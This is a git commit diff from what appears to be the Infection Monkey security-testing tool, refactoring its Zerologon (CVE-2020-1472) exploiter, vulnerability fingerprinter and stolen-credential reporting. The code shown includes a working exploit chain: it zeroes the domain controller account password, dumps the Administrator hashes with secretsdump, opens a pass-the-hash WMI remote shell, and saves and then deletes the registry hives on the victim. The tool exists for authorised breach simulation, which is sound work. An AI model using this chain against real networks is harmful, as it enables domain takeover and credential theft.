CR changes

This commit is contained in:
Shreya 2021-02-02 15:04:40 +05:30
parent 961d5f81f8
commit 435f10fb20
7 changed files with 93 additions and 87 deletions

View File

@ -38,8 +38,9 @@ class HostExploiter(Plugin):
# Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited
# machines. This would then prevent any other exploits from being attempted on it.
# Sample use case - Zerologon exploiter:
# Exploited machine gives us useful credentials which can be used, but machine isn't compromised by Zerologon
# on its own. Some other exploit using PTH needs to be exploit it.
# Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon
# on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey
# can propagate to it.
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True
@property

View File

@ -3,8 +3,6 @@ Zerologon, CVE-2020-1472
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
"""
from __future__ import division, print_function
import cmd
import io
import logging
@ -97,7 +95,7 @@ class ZerologonExploiter(HostExploiter):
self.exploit_info['credentials'] = {}
def _exploit_host(self):
self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
if self.is_exploitable():
LOG.info("Target vulnerable, changing account password to empty string.")
@ -124,11 +122,11 @@ class ZerologonExploiter(HostExploiter):
break
self.report_login_attempt(result=False,
user=self.DC_NAME)
user=self.dc_name)
if result['ErrorCode'] == 0:
self.report_login_attempt(result=True,
user=self.DC_NAME)
user=self.dc_name)
LOG.info("Exploit complete!")
else:
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
@ -154,7 +152,7 @@ class ZerologonExploiter(HostExploiter):
return self.zerologon_finger.get_host_fingerprint(self.host)
def connect_to_dc(self):
binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC,
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
@ -163,14 +161,14 @@ class ZerologonExploiter(HostExploiter):
def attempt_exploit(self, rpc_con):
request = nrpc.NetrServerPasswordSet2()
request['PrimaryName'] = self.DC_HANDLE + '\x00'
request['AccountName'] = self.DC_NAME + '$\x00'
request['PrimaryName'] = self.dc_handle + '\x00'
request['AccountName'] = self.dc_name + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = 0
request['Authenticator'] = authenticator
request['ComputerName'] = self.DC_NAME + '\x00'
request['ComputerName'] = self.dc_name + '\x00'
request['ClearNewPassword'] = b'\x00' * 516
return rpc_con.request(request)
@ -207,13 +205,13 @@ class ZerologonExploiter(HostExploiter):
def get_admin_pwd_hashes(self):
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
options['target_ip'] = self.DC_IP
options['dc_ip'] = self.DC_IP
options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0"
options['target_ip'] = self.dc_ip
options['dc_ip'] = self.dc_ip
dumped_secrets = self.get_dumped_secrets(options=options,
remote_name=self.DC_IP,
username=f"{self.DC_NAME}$")
remote_name=self.dc_ip,
username=f"{self.dc_name}$")
user = 'Administrator'
for secret in dumped_secrets:
if user in secret:
@ -249,7 +247,7 @@ class ZerologonExploiter(HostExploiter):
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
for name in ['system', 'sam', 'security']:
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
options['dc_ip'] = self.DC_IP
options['dc_ip'] = self.dc_ip
options['just_dc'] = False
dumped_secrets = self.get_dumped_secrets(options=options,
@ -267,15 +265,16 @@ class ZerologonExploiter(HostExploiter):
def save_HKLM_keys_locally(self, admin_pwd_hashes):
LOG.debug("Starting remote shell on victim.")
wmiexec = Wmiexec(ip=self.DC_IP,
wmiexec = Wmiexec(ip=self.dc_ip,
username='Administrator',
hashes=admin_pwd_hashes,
domain=self.DC_IP)
domain=self.dc_ip)
remote_shell = wmiexec.get_remote_shell()
if remote_shell:
_set_stdout_to_in_memory_text_stream()
try:
# Save HKLM keys on victim.
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
'reg save HKLM\\SAM sam.save && ' +
@ -289,13 +288,17 @@ class ZerologonExploiter(HostExploiter):
# Delete saved keys on victim.
remote_shell.onecmd('del /f system.save sam.save security.save')
info = _unset_stdout_and_return_captured()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
wmiexec.close()
return True
except Exception as e:
LOG.info(f"Exception occured: {str(e)}")
finally:
info = _unset_stdout_and_return_captured()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
else:
raise Exception("Could not start remote shell on DC.")
@ -308,15 +311,15 @@ class ZerologonExploiter(HostExploiter):
flags = 0x212fffff
# Send challenge and authentication request.
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00',
self.DC_NAME + '\x00', plaintext)
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.dc_handle + '\x00',
self.dc_name + '\x00', plaintext)
server_challenge = server_challenge_response['ServerChallenge']
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00',
rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
self.DC_NAME + '\x00', ciphertext, flags
self.dc_name + '\x00', ciphertext, flags
)
# It worked!
@ -335,9 +338,9 @@ class ZerologonExploiter(HostExploiter):
request = NetrServerPasswordSet()
request['PrimaryName'] = NULL
request['AccountName'] = self.DC_NAME + '$\x00'
request['AccountName'] = self.dc_name + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['ComputerName'] = self.DC_NAME + '\x00'
request['ComputerName'] = self.dc_name + '\x00'
request["Authenticator"] = authenticator
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
request["UasNewPassword"] = pwd_data

View File

@ -352,15 +352,14 @@ class InfectionMonkey(object):
try:
result = exploiter.exploit_host()
if result:
self.successfully_exploited(machine, exploiter) if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET else\
self.successfully_exploited(machine, exploiter, False)
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except ExploitingVulnerableMachineError as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
self.successfully_exploited(machine, exploiter)
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
return True
except FailedExploitationError as e:
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)

View File

@ -17,14 +17,14 @@ class ZerologonFinger(HostFinger):
MAX_ATTEMPTS = 2000
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
def get_host_fingerprint(self, host):
def get_host_fingerprint(self, host) -> bool:
"""
Checks if the Windows Server is vulnerable to Zerologon.
"""
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host)
dc_ip, dc_name, dc_handle = self._get_dc_details(host)
if DC_NAME: # if it is a Windows DC
if dc_name: # if it is a Windows DC
# Keep authenticating until successful.
# Expected average number of attempts needed: 256.
# Approximate time taken by 2000 attempts: 40 seconds.
@ -33,7 +33,7 @@ class ZerologonFinger(HostFinger):
rpc_con = None
for _ in range(0, self.MAX_ATTEMPTS):
try:
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
if rpc_con is not None:
break
except Exception as ex:
@ -55,27 +55,27 @@ class ZerologonFinger(HostFinger):
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
return False
def get_dc_details(self, host):
DC_IP = host.ip_addr
DC_NAME = self.get_dc_name(DC_IP)
DC_HANDLE = '\\\\' + DC_NAME
return DC_IP, DC_NAME, DC_HANDLE
def _get_dc_details(self, host) -> (str, str, str):
dc_ip = host.ip_addr
dc_name = self._get_dc_name(dc_ip)
dc_handle = '\\\\' + dc_name
return dc_ip, dc_name, dc_handle
def get_dc_name(self, DC_IP):
def _get_dc_name(self, dc_ip: str) -> str:
"""
Gets NetBIOS name of the Domain Controller (DC).
"""
try:
nb = nmb.NetBIOS.NetBIOS()
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
return name[0] if name else None
name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None
return name[0] if name else ''
except BaseException as ex:
LOG.info(f'Exception: {ex}')
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
@ -90,13 +90,13 @@ class ZerologonFinger(HostFinger):
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
rpc_con, dc_handle + '\x00', dc_name + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, DC_HANDLE + '\x00', DC_NAME +
rpc_con, dc_handle + '\x00', dc_name +
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
DC_NAME + '\x00', ciphertext, flags
dc_name + '\x00', ciphertext, flags
)
# It worked!

View File

@ -156,7 +156,7 @@ EXPLOITER_CLASSES = {
],
"title": "Zerologon Exploiter (UNSAFE)",
"info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and "
"breaks communication with other domain controllers.) "
"might break communication with other domain controllers.) "
"Exploits a privilege escalation vulnerability in a Windows server domain controller, "
"using the Netlogon Remote Protocol (MS-NRPC).",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/"

View File

@ -182,29 +182,33 @@ class ReportService:
def get_stolen_creds():
creds = []
# stolen creds from system info collectors
for telem in mongo.db.telemetry.find(
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1}
):
monkey_creds = telem['data']['credentials']
formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds)
if formatted_creds:
creds.extend(formatted_creds)
stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems()
creds.extend(stolen_system_info_creds)
# stolen creds from exploiters
for telem in mongo.db.telemetry.find(
{'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
{'data.info.credentials': 1, 'monkey_guid': 1}
):
monkey_creds = telem['data']['info']['credentials']
formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds)
if formatted_creds:
creds.extend(formatted_creds)
stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems()
creds.extend(stolen_exploit_creds)
logger.info('Stolen creds generated for reporting')
return creds
@staticmethod
def get_credentials_from_system_info_telems():
formatted_creds = []
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1}):
creds = telem['data']['credentials']
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
return formatted_creds
@staticmethod
def get_credentials_from_exploit_telems():
formatted_creds = []
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
{'data.info.credentials': 1, 'monkey_guid': 1}):
creds = telem['data']['info']['credentials']
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
return formatted_creds
@staticmethod
def _format_creds_for_reporting(telem, monkey_creds):
creds = []

View File

@ -31,7 +31,6 @@ def process_exploit_telemetry(telemetry_json):
def add_exploit_extracted_creds_to_config(telemetry_json):
if 'credentials' in telemetry_json['data']['info']:
creds = telemetry_json['data']['info']['credentials']
for user in creds:
ConfigService.creds_add_username(creds[user]['username'])
if 'password' in creds[user] and creds[user]['password']: